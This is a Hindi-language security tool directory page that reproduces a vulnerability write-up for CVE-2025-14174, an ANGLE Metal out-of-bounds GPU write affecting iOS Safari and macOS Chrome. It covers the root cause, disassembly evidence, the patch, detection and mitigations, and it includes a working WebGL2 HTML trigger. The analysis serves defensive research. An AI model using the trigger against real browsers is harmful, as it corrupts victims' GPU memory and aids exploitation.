Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-14174-analysis — CVE-2025-14174 के लिए विश्लेषण और PoC - ANGLE Metal OOB लेखन (iOS Safari, macOS Chrome) | Kitploit
उपकरण/GitHubGitHub/typeconfused/cve-2025-14174-analysis
आईओएस सुरक्षाभेद्यता विश्लेषणशोषणवेब सुरक्षामोबाइल सुरक्षाहार्डवेयर सुरक्षाबाइनरी विश्लेषण
GitHubtypeconfused/cve-2025-14174-analysis

CVE-2025-14174-analysis

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

CVE-2025-14174 के लिए विश्लेषण और PoC - ANGLE Metal OOB लेखन (iOS Safari, macOS Chrome)

रिपॉजिटरी देखें
168 महीने पहलेअभी तक समीक्षित नहीं
साझा करें

CVE-2025-14174 विश्लेषण: ANGLE Metal स्टेजिंग बफर आउट-ऑफ-बाउंड राइट

CVE-2025-14174 के लिए तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट

CVECVE-2025-14174
गंभीरताउच्च
ITW में शोषणहाँ - iOS < 26 पर लक्षित हमले
प्रभावितiOS Safari, macOS Chrome/Chromium/Electron (macOS Safari नहीं)
स्थितिANGLE कमिट 95a32cb में पैच किया गया
श्रेयApple, Google Threat Analysis Group

इन-द-वाइल्ड शोषण

Apple के अनुसार, CVE-2025-14174 का शोषण iOS 26 से पहले के iOS संस्करणों पर "विशिष्ट लक्षित व्यक्तियों के विरुद्ध अत्यंत परिष्कृत हमले" के भाग के रूप में किया गया था।

हमले की श्रृंखला में शामिल थे:

  • CVE-2025-14174 (यह राइटअप) - ANGLE Metal OOB राइट
  • CVE-2025-43529 (WebKit बग 302502) - WebKit यूज़-आफ्टर-फ्री

विषय-सूची

  • सारांश
  • प्रभावित प्लेटफ़ॉर्म
  • प्रभाव
  • मूल कारण
  • ट्रिगर स्थितियाँ
  • तकनीकी विश्लेषण
  • प्रूफ ऑफ कॉन्सेप्ट
  • समाधान
  • पहचान नोट्स
  • शमन उपाय
  • संदर्भ

सारांश

ANGLE के Metal बैकएंड में डेप्थ टेक्सचर को स्टेजिंग बफर के माध्यम से अपलोड करते समय एक आउट-ऑफ-बाउंड (OOB) राइट भेद्यता मौजूद है। स्टेजिंग बफर का आकार वास्तविक टेक्सचर ऊँचाई के बजाय GL_UNPACK_IMAGE_HEIGHT का उपयोग करके गणना किया जाता है। जब UNPACK_IMAGE_HEIGHT < height होता है, ANGLE एक छोटा बफर आवंटित करता है और बाद में उसमें height पंक्तियाँ लिखता है, जिससे रेंडरर प्रक्रिया में GPU मेमोरी भ्रष्टाचार होता है।


प्रभावित प्लेटफ़ॉर्म

यह भेद्यता WebGL के लिए ANGLE के Metal बैकएंड का उपयोग करने वाले अनुप्रयोगों को प्रभावित करती है:

प्लेटफ़ॉर्मसॉफ़्टवेयरप्रभावितनोट्स
iOSSafariहाँiOS पर WebKit WebGL के लिए ANGLE Metal का उपयोग करता है
macOSChrome / ChromiumहाँANGLE Metal बैकएंड का उपयोग करता है
macOSElectron ऐप्सहाँChromium के ANGLE कार्यान्वयन का उपयोग करते हैं
macOSSafariनहींWebKit के मूल Metal WebGL का उपयोग करता है, ANGLE नहीं

प्लेटफ़ॉर्म विवरण

iOS Safari प्रभावित है। iOS पर, WebKit अपने WebGL बैकएंड के रूप में ANGLE का उपयोग करता है, जिससे iPhone और iPad पर Safari भेद्य है।

macOS Safari प्रभावित नहीं है। macOS पर, Safari WebKit के अपने मूल WebGL कार्यान्वयन का उपयोग करता है जो सीधे Metal के साथ इंटरफ़ेस करता है, ANGLE को पूरी तरह से दरकिनार कर देता है।

macOS Chrome प्रभावित है। परीक्षण के दौरान macOS 26.1 पर चलने वाला Google Chrome भेद्य दिखाई दिया, क्योंकि यह WebGL के लिए ANGLE के Metal बैकएंड का उपयोग करता है।

भेद्य कोड पथ ANGLE के TextureMtl वर्ग (setSubImageImpl / setPerSliceSubImage / SaturateDepth) में मौजूद है।


प्रभाव

गंभीरताविवरण
पुष्टस्टेजिंग बफर के अंत से परे GPU/Metal बैकएंड राइट
पुष्टWebGL2 + PBO + DEPTH_COMPONENT32F के माध्यम से पुनरुत्पादन योग्य
संभावितमेमोरी दबाव के तहत GPU प्रक्रिया क्रैश या संदर्भ हानि
सैद्धांतिकGPU मेमोरी में क्रॉस-संसाधन भ्रष्टाचार (प्रदर्शित नहीं)

मुख्य विशेषताएँ:

  • यह बग WebGL में मौन है (आमतौर पर NO_ERROR लौटाता है)
  • अधिकांश मामलों में कोई दृश्य रेंडरिंग विकृति नहीं
  • Metal सत्यापन परतें ओवरफ्लो का पता नहीं लगा सकतीं
  • हीप लेआउट के आधार पर GPU-प्रक्रिया अस्थिरता या शोषण की संभावना

मूल कारण

D32F डेप्थ टेक्सचर अपलोड पथ में, ANGLE GL_UNPACK_IMAGE_HEIGHT से pixelsDepthPitch की गणना करता है और इस मान का उपयोग स्टेजिंग MTLBuffer के आकार के लिए करता है। हालाँकि, बाद का कम्प्यूट डिस्पैच (डेप्थ सैचुरेशन) ऑपरेशन के लिए वास्तविक टेक्सचर ऊँचाई का उपयोग करता है, जिससे पैरामीटर भिन्न होने पर OOB राइट होता है।

आकार बेमेल उदाहरण

width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F के लिए:

पैरामीटरगणनामान
पंक्ति पिचwidth * sizeof(float)4 बाइट्स
स्टेजिंग बफर (आवंटित)rowPitch * UNPACK_IMAGE_HEIGHT512 बाइट्स
कम्प्यूट डिस्पैच (लिखा गया)rowPitch * actualHeight2048 बाइट्स
OOB राइट2048 - 5121536 बाइट्स

ट्रिगर स्थितियाँ

निम्नलिखित सभी सत्य होने चाहिए:

  1. WebGL2 संदर्भ (PBO समर्थन के लिए आवश्यक)
  2. डेप्थ टेक्सचर प्रारूप DEPTH_COMPONENT32F (सत्यापित; अन्य डेप्थ प्रारूप भी प्रभावित हो सकते हैं लेकिन परीक्षण नहीं किया गया)
  3. पिक्सेल बफर ऑब्जेक्ट (PBO) PIXEL_UNPACK_BUFFER से बाध्य
  4. GL_UNPACK_IMAGE_HEIGHT वास्तविक टेक्सचर ऊँचाई से कम मान पर सेट
  5. ANGLE Metal बैकएंड सक्रिय (iOS Safari, या macOS पर Chrome/Chromium/Electron)

WebGL इसे क्यों अवरुद्ध नहीं करता

GL_UNPACK_IMAGE_HEIGHT GL स्पेक द्वारा 3D/ऐरे टेक्सचर अपलोड को प्रभावित करने के लिए परिभाषित है, 2D टेक्सचर को नहीं। TEXTURE_2D के लिए:

  • पैरामीटर स्वीकार किया जाता है लेकिन WebGL सत्यापन में भाग नहीं लेता
  • WebGL 2D टेक्सचर के लिए UNPACK_IMAGE_HEIGHT < height को अस्वीकार नहीं करता
  • ANGLE गलती से इस पैरामीटर का उपयोग डेप्थ अपलोड के लिए स्टेजिंग बफर के आकार के लिए करता है

तकनीकी विश्लेषण

भेद्य कॉल श्रृंखला

root@kitploit:~
WebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
    │
    ▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│   └── TextureMtl::setSubImageImpl
│       └── pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT की गणना करता है
│
├── TextureMtl::setPerSliceSubImage
│   └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...)  ← छोटा (UNDERSIZED)
│
└── SaturateDepth
    ├── getComputeCommandEncoder()
    ├── setBuffer(stagingBuffer, index=2)
    └── dispatchThreads(MTLSize{width, actualHeight})  ← वास्तविक ऊँचाई का उपयोग करता है

बाइनरी साक्ष्य (iOS 26.1)

फ़ंक्शनपताभूमिका
setSubImageImpl0x272fa9028छोटे depthPitch की गणना करता है
setPerSliceSubImage0x272fac240छोटा स्टेजिंग बफर आवंटित करता है
MakeBufferWithStorageMode0x272ef19bcगलत आकार के साथ MTLBuffer बनाता है
SaturateDepth0x272facfa4वास्तविक आयामों के साथ कम्प्यूट डिस्पैच करता है
root@kitploit:~
; setSubImageImpl - छोटे depthPitch की गणना
0x272fa90f4: ldr  w8, [x25, #0x10]     ; UNPACK_IMAGE_HEIGHT लोड करें
0x272fa9100: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - छोटे depthPitch के साथ MakeBufferWithStorageMode को कॉल करें
0x272fac5bc: mov  x2, x19              ; x2 = आकार (छोटा depthPitch)
0x272fac5c4: bl   #0x272ef19bc         ; MakeBufferWithStorageMode को कॉल करें

बाइनरी साक्ष्य (macOS 26.1)

फ़ंक्शनपताभूमिका
setSubImageImpl0x22c6d10f4छोटे depthPitch की गणना करता है
setPerSliceSubImage0x22c6d4398छोटा स्टेजिंग बफर आवंटित करता है
MakeBufferWithStorageMode0x22c619490गलत आकार के साथ MTLBuffer बनाता है
SaturateDepth0x22c6d5144वास्तविक आयामों के साथ कम्प्यूट डिस्पैच करता है
root@kitploit:~
; setSubImageImpl - छोटे depthPitch की गणना
0x22c6d11c0: ldr  w8, [x25, #0x10]     ; UNPACK_IMAGE_HEIGHT लोड करें
0x22c6d11cc: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - छोटे depthPitch के साथ MakeBufferWithStorageMode को कॉल करें
0x22c6d461c: ldr  x20, [sp, #0x48]     ; स्टैक से depthPitch लोड करें
0x22c6d4628: bl   MakeBufferWithStorageMode

SaturateDepth फ़ंक्शन बाद में वास्तविक टेक्सचर आयामों का उपयोग करके एक Metal कम्प्यूट शेडर डिस्पैच करता है, जो छोटे स्टेजिंग बफर से आगे लिखता है।


प्रूफ ऑफ कॉन्सेप्ट

न्यूनतम ट्रिगर (WebGL2)

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');

const width = 256, height = 256;
const unpackHeight = 16;  // << वास्तविक ऊँचाई से छोटा

// डेप्थ डेटा के साथ PBO बनाएं
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);

// बेमेल पैरामीटर सेट करें
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);

// डेप्थ टेक्सचर अपलोड करें - OOB राइट ट्रिगर करता है
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
    gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
    width, height, 0,
    gl.DEPTH_COMPONENT, gl.FLOAT, 0
);

// त्रुटियों की जाँच करें (OOB के बावजूद आमतौर पर NO_ERROR लौटाता है)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>

भेद्य सिस्टम पर अपेक्षित परिणाम: GPU प्रक्रिया में OOB राइट होने के बावजूद gl.getError() NO_ERROR लौटाता है।


समाधान

ANGLE कमिट 95a32cb वास्तविक टेक्सचर आयामों का उपयोग करने के लिए स्टेजिंग बफर आवंटन को ठीक करता है:

root@kitploit:~
// पहले (भेद्य)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));

// बाद में (ठीक किया गया)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));

इसके अतिरिक्त, ब्लिट ऑपरेशन के लिए srcBytesPerImage गणना ठीक की गई:

root@kitploit:~
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;

पहचान नोट्स

इस भेद्यता का जावास्क्रिप्ट से पता लगाना कठिन है:

  • स्टेजिंग बफर GPU प्रक्रिया में आंतरिक Metal संसाधन हैं
  • बग ट्रिगर होने पर भी WebGL आमतौर पर NO_ERROR लौटाता है
  • Metal सत्यापन परतें ओवरफ्लो को चिह्नित नहीं कर सकतीं
  • अधिकांश मामलों में कोई दृश्य रेंडरिंग विकृति नहीं
  • Metal API कॉल्स के इंस्ट्रुमेंटेशन या GPU मेमोरी डीबगिंग की आवश्यकता होती है

शमन उपाय

दृष्टिकोणविवरण
अपडेटANGLE फिक्स वाले प्लेटफ़ॉर्म अपडेट लागू करें
वर्कअराउंडडेप्थ टेक्सचर के लिए UNPACK_IMAGE_HEIGHT को वास्तविक ऊँचाई से छोटा सेट करने से बचें
रक्षा-में-गहराईनिश्चित-आकार के अपलोड का उपयोग करें जहाँ UNPACK_IMAGE_HEIGHT == height

संदर्भ

  • ANGLE फिक्स: https://chromium.googlesource.com/angle/angle/+/95a32cb
  • Chromium बग: https://issues.chromium.org/issues/466192044
  • WebKit बग (CVE-2025-43529): https://webkit.org/b/302502
  • प्रभावित प्लेटफ़ॉर्म:
    • iOS: Safari (WebKit ANGLE Metal का उपयोग करता है)
    • macOS: Chrome, Chromium, Electron (ANGLE Metal का उपयोग करते हैं)

श्रेय

भेद्यता खोज: Apple, Google Threat Analysis Group

तकनीकी विश्लेषण: यह राइटअप भेद्यता के स्वतंत्र शोध और रिवर्स इंजीनियरिंग का दस्तावेजीकरण करता है।


विश्लेषण SpiderWebKit सुरक्षा अनुसंधान परियोजना के भाग के रूप में किया गया।

टूल डाउनलोड करें